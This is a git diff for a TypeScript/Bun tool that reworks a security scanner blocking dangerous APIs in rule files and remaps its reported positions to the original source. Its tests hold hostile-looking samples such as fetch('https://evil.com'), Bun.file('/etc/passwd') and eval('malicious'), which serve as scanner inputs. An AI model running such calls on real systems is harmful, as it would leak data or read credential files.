diff --git a/.gitignore b/.gitignore index 3957f37..8771b7a 100644 --- a/.gitignore +++ b/.gitignore @@ -40,5 +40,7 @@ packages/*/bin/archgate # Docs site build artifacts docs/.astro/ +bin + # Archgate generated type definitions (regenerated by archgate) -.archgate/rules.d.ts +.archgate/rules.d.ts \ No newline at end of file diff --git a/src/commands/check.ts b/src/commands/check.ts index 724aa27..58d0584 100644 --- a/src/commands/check.ts +++ b/src/commands/check.ts @@ -68,14 +68,22 @@ export function registerCheckCommand(program: Command) { process.exit(0); } - // Collect file paths from arguments and/or stdin pipe + // Collect file paths from arguments and/or stdin pipe. + // Only read stdin when it's explicitly piped (e.g., `git diff --name-only | archgate check`). + // When spawned by editors or in a pipe chain where stdin is /dev/null or absent, + // attempting to read stdin blocks forever. Use a short timeout to detect this. let filterFiles: string[] = files ?? []; if (!process.stdin.isTTY) { - const stdin = await new Response( - process.stdin as unknown as ReadableStream - ).text(); - const piped = stdin.trim().split(/\r?\n/).filter(Boolean); - filterFiles = [...filterFiles, ...piped]; + try { + const stdin = await Promise.race([ + Bun.stdin.text(), + Bun.sleep(100).then(() => ""), + ]); + const piped = stdin.trim().split(/\r?\n/).filter(Boolean); + filterFiles = [...filterFiles, ...piped]; + } catch { + // stdin not readable — ignore + } } const result = await runChecks(projectRoot, loadResults, { diff --git a/src/engine/loader.ts b/src/engine/loader.ts index 841d467..1be7ca2 100644 --- a/src/engine/loader.ts +++ b/src/engine/loader.ts @@ -25,7 +25,7 @@ const RuleSetSchema = z.object({ import { relative } from "node:path"; import type { ViolationDetail } from "../formats/rules"; -import { logDebug, logError } from "../helpers/log"; +import { logDebug } from "../helpers/log"; import { projectPaths } from "../helpers/paths"; import { ensureRulesShim } from "../helpers/rules-shim"; import { scanRuleSource } from "./rule-scanner"; @@ -170,9 +170,6 @@ export async function loadRuleAdrs( const ruleSource = await Bun.file(rulesFile).text(); const scanViolations = scanRuleSource(ruleSource); if (scanViolations.length > 0) { - for (const v of scanViolations) { - logError(`${rulesFile}:${v.line}:${v.column} - ${v.message}`); - } return { type: "blocked", value: { diff --git a/src/engine/rule-scanner.ts b/src/engine/rule-scanner.ts index 5d473c5..60e3333 100644 --- a/src/engine/rule-scanner.ts +++ b/src/engine/rule-scanner.ts @@ -31,14 +31,7 @@ interface AstNode { [key: string]: unknown; } -function loc(node: AstNode) { - return { - line: node.loc?.start.line ?? 0, - column: node.loc?.start.column ?? 0, - endLine: node.loc?.end.line ?? 0, - endColumn: node.loc?.end.column ?? 0, - }; -} +import { remapViolations, type RawViolation } from "./source-positions"; /** * Scan a `.rules.ts` source string for banned patterns. @@ -53,7 +46,15 @@ export function scanRuleSource(source: string): ScanViolation[] { const transpiler = new Bun.Transpiler({ loader: "ts" }); const js = transpiler.transformSync(source); const ast = parseModule(js, { next: true, loc: true, module: true }); - const violations: ScanViolation[] = []; + const rawViolations: RawViolation[] = []; + + /** Track how many times each searchText has been seen, to match by occurrence. */ + const seenCounts = new Map(); + function pushViolation(message: string, searchText: string) { + const count = seenCounts.get(searchText) ?? 0; + seenCounts.set(searchText, count + 1); + rawViolations.push({ message, searchText, occurrence: count }); + } function walk(node: AstNode): void { if (!node || typeof node !== "object") return; @@ -62,10 +63,12 @@ export function scanRuleSource(source: string): ScanViolation[] { case "ImportDeclaration": { const src = (node.source as { value: string }).value; if (BANNED_MODULES.test(src) || src === "bun") { - violations.push({ - message: `Import of "${src}" is blocked in rule files. Use the RuleContext API instead.`, - ...loc(node), - }); + // Use `from "module"` as search anchor — `from` is in code context + // (unlike the bare module string which buildNonCodeRanges marks as non-code). + pushViolation( + `Import of "${src}" is blocked in rule files. Use the RuleContext API instead.`, + `from "${src}"` + ); } break; } @@ -80,62 +83,57 @@ export function scanRuleSource(source: string): ScanViolation[] { !computed && BLOCKED_BUN_PROPS.has(prop.name ?? "") ) { - violations.push({ - message: `Bun.${prop.name}() is blocked in rule files. Use the RuleContext API instead.`, - ...loc(node), - }); + pushViolation( + `Bun.${prop.name}() is blocked in rule files. Use the RuleContext API instead.`, + `Bun.${prop.name}` + ); } // Block computed access: Bun[x], globalThis[x] if (computed && (obj.name === "Bun" || obj.name === "globalThis")) { - violations.push({ - message: `Computed property access on ${obj.name} is blocked in rule files.`, - ...loc(node), - }); + pushViolation( + `Computed property access on ${obj.name} is blocked in rule files.`, + `${obj.name}[` + ); } break; } case "CallExpression": { const callee = node.callee as AstNode & { name?: string }; if (callee.name === "eval") { - violations.push({ - message: "eval() is blocked in rule files.", - ...loc(node), - }); + pushViolation("eval() is blocked in rule files.", "eval("); } if (callee.name === "Function") { - violations.push({ - message: "Function() constructor is blocked in rule files.", - ...loc(node), - }); + pushViolation( + "Function() constructor is blocked in rule files.", + "Function(" + ); } if (callee.name === "fetch") { - violations.push({ - message: - "fetch() is blocked in rule files. Rules should not make network requests.", - ...loc(node), - }); + pushViolation( + "fetch() is blocked in rule files. Rules should not make network requests.", + "fetch(" + ); } break; } case "NewExpression": { const callee = node.callee as AstNode & { name?: string }; if (callee.name === "Function") { - violations.push({ - message: "new Function() is blocked in rule files.", - ...loc(node), - }); + pushViolation( + "new Function() is blocked in rule files.", + "new Function(" + ); } break; } case "ImportExpression": { const src = node.source as AstNode; if (src.type !== "Literal") { - violations.push({ - message: - "Dynamic import() with non-literal argument is blocked in rule files.", - ...loc(node), - }); + pushViolation( + "Dynamic import() with non-literal argument is blocked in rule files.", + "import(" + ); } break; } @@ -146,20 +144,20 @@ export function scanRuleSource(source: string): ScanViolation[] { }; if (left.type === "MemberExpression") { if (left.object?.name === "globalThis") { - violations.push({ - message: "Mutating globalThis is blocked in rule files.", - ...loc(node), - }); + pushViolation( + "Mutating globalThis is blocked in rule files.", + "globalThis." + ); } if ( left.object?.name === "process" && left.property?.name === "env" ) { const target = `${left.object.name}.${left.property.name}`; - violations.push({ - message: `Mutating ${target} is blocked in rule files.`, - ...loc(node), - }); + pushViolation( + `Mutating ${target} is blocked in rule files.`, + target + ); } } break; @@ -185,5 +183,5 @@ export function scanRuleSource(source: string): ScanViolation[] { } walk(ast as unknown as AstNode); - return violations; + return remapViolations(source, rawViolations); } diff --git a/src/engine/source-positions.ts b/src/engine/source-positions.ts new file mode 100644 index 0000000..9127826 --- /dev/null +++ b/src/engine/source-positions.ts @@ -0,0 +1,183 @@ +/** + * Utilities for mapping violation positions from transpiled JS back to + * original TypeScript source, skipping matches in comments and strings. + */ + +export interface SourcePos { + line: number; + column: number; + endLine: number; + endColumn: number; +} + +/** Internal violation before remapping to original source positions. */ +export interface RawViolation { + message: string; + /** Text to search for in the original source to find the true position. */ + searchText: string; + /** Occurrence index (0-based) — the Nth match in transpiled = Nth in original code. */ + occurrence: number; +} + +/** + * Build a set of character ranges that are inside comments or string literals. + * Used to filter out false matches when remapping violation positions. + */ +function buildNonCodeRanges(source: string): Array<[number, number]> { + const ranges: Array<[number, number]> = []; + let i = 0; + while (i < source.length) { + const ch = source[i]; + const next = source[i + 1]; + + // Line comment: // ... \n + if (ch === "/" && next === "/") { + const start = i; + i += 2; + while (i < source.length && source[i] !== "\n") i++; + ranges.push([start, i]); + continue; + } + + // Block comment: /* ... */ + if (ch === "/" && next === "*") { + const start = i; + i += 2; + while ( + i < source.length - 1 && + !(source[i] === "*" && source[i + 1] === "/") + ) + i++; + i += 2; // skip */ + ranges.push([start, i]); + continue; + } + + // String literals: "...", '...', `...` + if (ch === '"' || ch === "'" || ch === "`") { + const quote = ch; + const start = i; + i++; + while (i < source.length) { + if (source[i] === "\\") { + i += 2; // skip escaped char + continue; + } + if (source[i] === quote) { + i++; + break; + } + // Template literal ${...} — skip the interpolation (it's code) + if (quote === "`" && source[i] === "$" && source[i + 1] === "{") { + ranges.push([start, i]); + let depth = 1; + i += 2; + while (i < source.length && depth > 0) { + if (source[i] === "{") depth++; + else if (source[i] === "}") depth--; + if (depth > 0) i++; + } + i++; // skip closing } + continue; + } + i++; + } + ranges.push([start, i]); + continue; + } + + i++; + } + return ranges; +} + +/** + * Check if a character offset falls inside any non-code range. + */ +function isInNonCode(offset: number, ranges: Array<[number, number]>): boolean { + for (const [start, end] of ranges) { + if (offset >= start && offset < end) return true; + if (start > offset) break; // ranges are sorted by start + } + return false; +} + +/** + * Find all code-only occurrences of `needle` in `source`, skipping + * matches inside comments and string literals. + */ +function findCodeOccurrences( + source: string, + needle: string, + nonCodeRanges: Array<[number, number]> +): SourcePos[] { + const results: SourcePos[] = []; + let idx = 0; + while (true) { + const found = source.indexOf(needle, idx); + if (found === -1) break; + + if (isInNonCode(found, nonCodeRanges)) { + idx = found + 1; + continue; + } + + let line = 1; + let lastNewline = -1; + for (let i = 0; i < found; i++) { + if (source[i] === "\n") { + line++; + lastNewline = i; + } + } + const column = found - lastNewline - 1; + + let endLine = line; + let endLastNewline = lastNewline; + for (let i = found; i < found + needle.length; i++) { + if (source[i] === "\n") { + endLine++; + endLastNewline = i; + } + } + const endColumn = found + needle.length - endLastNewline - 1; + + results.push({ line, column, endLine, endColumn }); + idx = found + 1; + } + return results; +} + +/** + * Remap violations from transpiled positions to original source positions. + * Each violation carries a searchText and occurrence index. We find the Nth + * code-only occurrence of that text in the original source to get the true + * position, skipping matches inside comments and string literals. + */ +export function remapViolations( + original: string, + rawViolations: RawViolation[] +): Array<{ message: string } & SourcePos> { + const nonCodeRanges = buildNonCodeRanges(original); + const occurrenceCache = new Map(); + + return rawViolations.map((rv) => { + let positions = occurrenceCache.get(rv.searchText); + if (!positions) { + positions = findCodeOccurrences(original, rv.searchText, nonCodeRanges); + occurrenceCache.set(rv.searchText, positions); + } + + const pos = positions[rv.occurrence]; + if (pos) { + return { message: rv.message, ...pos }; + } + return { + message: rv.message, + line: 0, + column: 0, + endLine: 0, + endColumn: 0, + }; + }); +} diff --git a/tests/engine/rule-scanner-adversarial.test.ts b/tests/engine/rule-scanner-adversarial.test.ts new file mode 100644 index 0000000..cd9e61c --- /dev/null +++ b/tests/engine/rule-scanner-adversarial.test.ts @@ -0,0 +1,237 @@ +import { describe, expect, test } from "bun:test"; + +import { scanRuleSource } from "../../src/engine/rule-scanner"; + +/** + * Adversarial tests for the security scanner's position remapping. + * + * These test cases cover scenarios where banned patterns appear in + * comments or string literals before the actual code violation, + * which could cause the string-search remapping to point to the + * wrong location. + */ +describe("scanRuleSource adversarial position mapping", () => { + test("pattern in line comment before code violation", () => { + const source = [ + "// WARNING: Do not use Bun.spawn in rule files", + "// Use the RuleContext API instead", + "", + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check(ctx) {", + " Bun.spawn([]);", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(9); + expect(violations[0].column).toBe(8); + }); + + test("pattern in block comment before code violation", () => { + const source = [ + "/*", + " * Bun.spawn is dangerous and should not be used.", + " * Use ctx.readFile() instead.", + " */", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(5); + expect(violations[0].column).toBe(0); + }); + + test("pattern in string literal before code violation", () => { + const source = [ + 'const msg = "Bun.spawn is blocked";', + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + expect(violations[0].column).toBe(0); + }); + + test("pattern in template literal before code violation", () => { + const source = [ + "const msg = `Do not call Bun.spawn here`;", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + expect(violations[0].column).toBe(0); + }); + + test("pattern in single-quoted string before code violation", () => { + const source = [ + "const msg = 'Bun.file is blocked';", + "Bun.file('/etc/passwd');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + }); + + test("multiple patterns in comments before code violations", () => { + const source = [ + "// Bun.spawn - blocked", + "// Bun.file - also blocked", + "// fetch - blocked too", + "", + "Bun.spawn([]);", + "Bun.file('/etc/passwd');", + "fetch('https://evil.com');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(3); + expect(violations[0].line).toBe(5); + expect(violations[0].message).toContain("Bun.spawn()"); + expect(violations[1].line).toBe(6); + expect(violations[1].message).toContain("Bun.file()"); + expect(violations[2].line).toBe(7); + expect(violations[2].message).toContain("fetch()"); + }); + + test("eval in comment then eval in code", () => { + const source = [ + "// eval() is dangerous, don't use it", + 'const x = "eval is bad";', + "eval('malicious');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(3); + expect(violations[0].column).toBe(0); + }); + + test("import module name in comment before banned import", () => { + const source = [ + '// Do not import from "node:fs"', + 'import { readFileSync } from "node:fs";', + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + }); + + test("import module name in string before banned import", () => { + const source = [ + 'const blocked = "node:fs";', + 'import { readFileSync } from "node:fs";', + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + }); + + test("fetch in string literal is not confused with fetch call", () => { + const source = [ + 'const msg = "fetch data from server";', + "const url = 'use fetch API';", + "fetch('https://evil.com');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(3); + }); + + test("Bun.spawn in error message string then actual violation", () => { + // Realistic case: rule file logging what it found + const source = [ + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check(ctx) {", + " ctx.report.violation({", + ' message: "Found Bun.spawn usage",', + " });", + " Bun.spawn([]);", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(9); + expect(violations[0].column).toBe(8); + }); + + test("pattern repeated in both comment and code multiple times", () => { + const source = [ + "// Bun.spawn once", + "Bun.spawn([]);", + "// Bun.spawn again", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(2); + expect(violations[0].line).toBe(2); + expect(violations[1].line).toBe(4); + }); + + test("inline comment after violation on same line", () => { + const source = "Bun.spawn([]); // this is bad"; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(1); + expect(violations[0].column).toBe(0); + }); + + test("globalThis in comment before globalThis mutation", () => { + const source = [ + "// Don't mutate globalThis.anything", + "globalThis.myGlobal = 42;", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + }); + + test("computed access pattern in string before actual violation", () => { + const source = [ + 'const x = "Bun[method] is blocked";', + 'const method = "spawn";', + "Bun[method]();", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(3); + }); + + test("minified code on single line reports correct column", () => { + const source = "const a=1;const b=2;Bun.spawn([]);const c=3;"; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(1); + expect(violations[0].column).toBe(20); + }); + + test("multiple violations on same line", () => { + const source = "Bun.spawn([]);Bun.file('/x');"; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(2); + expect(violations[0].line).toBe(1); + expect(violations[0].column).toBe(0); + expect(violations[1].line).toBe(1); + expect(violations[1].column).toBe(14); + }); + + test("escaped quotes in string don't break non-code detection", () => { + const source = [ + 'const x = "he said \\"Bun.spawn\\" is bad";', + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(2); + }); +}); diff --git a/tests/engine/rule-scanner-positions.test.ts b/tests/engine/rule-scanner-positions.test.ts new file mode 100644 index 0000000..cc018f8 --- /dev/null +++ b/tests/engine/rule-scanner-positions.test.ts @@ -0,0 +1,296 @@ +import { describe, expect, test } from "bun:test"; + +import { scanRuleSource } from "../../src/engine/rule-scanner"; + +/** + * Tests for position remapping after transpilation. + * + * Bun.Transpiler strips comments, type annotations, and trailing commas, + * which shifts line numbers in the transpiled output. The scanner remaps + * violations back to original source positions using string search by + * occurrence order. + */ +describe("scanRuleSource position remapping", () => { + test("comments before violation shift line numbers correctly", () => { + const source = [ + "// comment line 1", + "// comment line 2", + "// comment line 3", + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check(ctx) {", + " Bun.spawn([]);", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(9); + expect(violations[0].column).toBe(8); + // "Bun.spawn" is 9 chars + expect(violations[0].endLine).toBe(9); + expect(violations[0].endColumn).toBe(17); + }); + + test("TypeScript type annotations stripped don't shift lines", () => { + const source = [ + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check(ctx: RuleContext) {", + " const x: string = 'hello';", + " eval(x);", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(7); + expect(violations[0].column).toBe(8); + }); + + test("multi-line type declarations stripped shift subsequent lines", () => { + const source = [ + "interface Config {", + " name: string;", + " value: number;", + "}", + "", + "type Result = string | null;", + "", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(8); + expect(violations[0].column).toBe(0); + }); + + test("trailing commas removed don't affect position", () => { + const source = [ + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check(ctx) {", + " fetch(", + ' "https://evil.com",', + " );", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(6); + expect(violations[0].column).toBe(8); + }); + + test("multiple occurrences of same pattern map to correct lines", () => { + const source = [ + "// first usage", + "Bun.spawn([]);", + "", + "// second usage", + "Bun.spawn([]);", + "", + "// third usage", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(3); + expect(violations[0].line).toBe(2); + expect(violations[1].line).toBe(5); + expect(violations[2].line).toBe(8); + }); + + test("mixed violation types each map correctly", () => { + const source = [ + "// imports at top", + 'import { readFileSync } from "node:fs";', + "", + "// some code", + "const x = 1;", + "", + "// dangerous API", + "Bun.spawn([]);", + "", + "// exfiltration", + 'fetch("https://evil.com");', + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(3); + + const importV = violations.find((v) => v.message.includes('"node:fs"')); + expect(importV).toBeDefined(); + expect(importV!.line).toBe(2); + + const spawnV = violations.find((v) => v.message.includes("Bun.spawn")); + expect(spawnV).toBeDefined(); + expect(spawnV!.line).toBe(8); + + const fetchV = violations.find((v) => v.message.includes("fetch()")); + expect(fetchV).toBeDefined(); + expect(fetchV!.line).toBe(11); + }); + + test("realistic rule file with comments, types, and deep nesting", () => { + // Mimics the real DATA-017 case: 2 comment lines at top push Bun.spawn + // from transpiled line 12 to original line 18 + const lines = [ + "// ADR: DATA-017 — Schema Migration Management", // 1 + "// Rule: Schema must be in sync with migrations", // 2 + "", // 3 + "export default {", // 4 + " rules: {", // 5 + ' "migration-sync": {', // 6 + ' description: "Check",', // 7 + " async check(ctx) {", // 8 + " try {", // 9 + ' await ctx.readFile("drizzle.config.ts");', // 10 + " } catch { return; }", // 11 + " try {", // 12 + " const proc = Bun.spawn(", // 13 + ' ["bun", "drizzle-kit", "check"],', // 14 + ' { cwd: ctx.projectRoot, stdout: "pipe" },', // 15 + " );", // 16 + " } catch {}", // 17 + " },", // 18 + " },", // 19 + " },", // 20 + "};", // 21 + ]; + const violations = scanRuleSource(lines.join("\n")); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.spawn()"); + expect(violations[0].line).toBe(13); + expect(violations[0].column).toBe(23); + expect(violations[0].endColumn).toBe(32); + }); + + test("inline comments between violations", () => { + const source = [ + "Bun.spawn([]); // first spawn", + "// a comment", + "// another comment", + "Bun.file('/etc/passwd'); // read a file", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(2); + expect(violations[0].line).toBe(1); + expect(violations[0].message).toContain("Bun.spawn()"); + expect(violations[1].line).toBe(4); + expect(violations[1].message).toContain("Bun.file()"); + }); + + test("violation on first line has correct position", () => { + const source = 'Bun.write("out.txt", "data");'; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(1); + expect(violations[0].column).toBe(0); + expect(violations[0].endLine).toBe(1); + expect(violations[0].endColumn).toBe(9); + }); + + test("violation deeply indented has correct column", () => { + const source = [ + "export default {", + " rules: {", + ' "r": {', + ' description: "d",', + " async check() {", + " if (true) {", + " if (true) {", + ' eval("code");', + " }", + " }", + " },", + " },", + " },", + "};", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(8); + expect(violations[0].column).toBe(12); + }); + + test("satisfies keyword stripped doesn't affect positions above", () => { + const source = [ + "Bun.spawn([]);", + "", + "export default {", + " rules: {},", + "} satisfies RuleSet;", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(1); + expect(violations[0].column).toBe(0); + }); + + test("generic type parameters stripped don't shift positions", () => { + const source = [ + "const arr: Array = [];", + "const map: Map = new Map();", + "eval('code');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(3); + expect(violations[0].column).toBe(0); + }); + + test("block comment spanning multiple lines", () => { + const source = [ + "/**", + " * This is a block comment", + " * spanning multiple lines", + " */", + "Bun.spawn([]);", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(5); + expect(violations[0].column).toBe(0); + }); + + test("enum declaration stripped shifts subsequent lines", () => { + const source = [ + "enum Status {", + " Active = 'active',", + " Inactive = 'inactive',", + "}", + "", + "fetch('https://evil.com');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBe(6); + }); + + test("different Bun APIs on consecutive lines", () => { + const source = [ + "Bun.spawn([]);", + "Bun.write('/tmp/x', 'y');", + "Bun.file('/etc/passwd');", + ].join("\n"); + const violations = scanRuleSource(source); + expect(violations).toHaveLength(3); + expect(violations[0].line).toBe(1); + expect(violations[0].message).toContain("Bun.spawn()"); + expect(violations[1].line).toBe(2); + expect(violations[1].message).toContain("Bun.write()"); + expect(violations[2].line).toBe(3); + expect(violations[2].message).toContain("Bun.file()"); + }); +}); diff --git a/tests/engine/rule-scanner.test.ts b/tests/engine/rule-scanner.test.ts index 48fcfb8..d841d59 100644 --- a/tests/engine/rule-scanner.test.ts +++ b/tests/engine/rule-scanner.test.ts @@ -237,12 +237,17 @@ describe("scanRuleSource", () => { }); describe("violation location", () => { - test("reports line and column numbers", () => { + test("reports line and column for simple case", () => { const source = `const x = 1;\neval("code");`; const violations = scanRuleSource(source); expect(violations).toHaveLength(1); - expect(violations[0].line).toBeGreaterThan(0); - expect(violations[0].column).toBeGreaterThanOrEqual(0); + expect(violations[0].line).toBe(2); + expect(violations[0].column).toBe(0); + expect(violations[0].endLine).toBe(2); + // endColumn covers the search text "eval(" = 5 chars + expect(violations[0].endColumn).toBe(5); }); }); + + // Position remapping tests are in rule-scanner-positions.test.ts }); diff --git a/tests/engine/source-positions.test.ts b/tests/engine/source-positions.test.ts new file mode 100644 index 0000000..7d68526 --- /dev/null +++ b/tests/engine/source-positions.test.ts @@ -0,0 +1,66 @@ +import { describe, expect, test } from "bun:test"; + +import { + remapViolations, + type RawViolation, +} from "../../src/engine/source-positions"; + +/** + * Tests for the source position remapping module. + * + * The core logic (non-code range detection, code-only occurrence search, + * position remapping through transpilation) is exercised extensively by + * the scanner position and adversarial test suites. These tests verify + * the public API contract directly. + */ +describe("remapViolations", () => { + test("maps a single violation to correct position", () => { + const original = "const x = 1;\nBun.spawn([]);"; + const raw: RawViolation[] = [ + { message: "blocked", searchText: "Bun.spawn", occurrence: 0 }, + ]; + const result = remapViolations(original, raw); + expect(result).toHaveLength(1); + expect(result[0].line).toBe(2); + expect(result[0].column).toBe(0); + expect(result[0].endColumn).toBe(9); + }); + + test("skips occurrences in comments", () => { + const original = "// Bun.spawn\nBun.spawn([]);"; + const raw: RawViolation[] = [ + { message: "blocked", searchText: "Bun.spawn", occurrence: 0 }, + ]; + const result = remapViolations(original, raw); + expect(result[0].line).toBe(2); + }); + + test("skips occurrences in string literals", () => { + const original = 'const x = "Bun.spawn";\nBun.spawn([]);'; + const raw: RawViolation[] = [ + { message: "blocked", searchText: "Bun.spawn", occurrence: 0 }, + ]; + const result = remapViolations(original, raw); + expect(result[0].line).toBe(2); + }); + + test("handles multiple occurrences with correct ordering", () => { + const original = "Bun.spawn([]);\nBun.spawn([]);"; + const raw: RawViolation[] = [ + { message: "first", searchText: "Bun.spawn", occurrence: 0 }, + { message: "second", searchText: "Bun.spawn", occurrence: 1 }, + ]; + const result = remapViolations(original, raw); + expect(result[0].line).toBe(1); + expect(result[1].line).toBe(2); + }); + + test("returns line 0 when search text not found in code", () => { + const original = "const x = 1;"; + const raw: RawViolation[] = [ + { message: "missing", searchText: "Bun.spawn", occurrence: 0 }, + ]; + const result = remapViolations(original, raw); + expect(result[0].line).toBe(0); + }); +}); diff --git a/tests/preload.ts b/tests/preload.ts index 060dd44..e98b5c5 100644 --- a/tests/preload.ts +++ b/tests/preload.ts @@ -5,4 +5,14 @@ * in src/helpers/output.ts treats them as agent context and emits compact * JSON instead of human-readable output, breaking command assertions. */ -process.env.CI = process.env.CI ?? "1"; +Bun.env.CI = Bun.env.CI ?? "1"; + +/** + * Suppress all git credential prompts during tests. + * - GIT_TERMINAL_PROMPT=0 — prevents terminal-based prompts + * - GCM_INTERACTIVE=never — prevents GUI prompts from Git Credential Manager + * - GIT_ASKPASS="" — prevents external askpass programs from launching + */ +Bun.env.GIT_TERMINAL_PROMPT = "0"; +Bun.env.GCM_INTERACTIVE = "never"; +Bun.env.GIT_ASKPASS = "";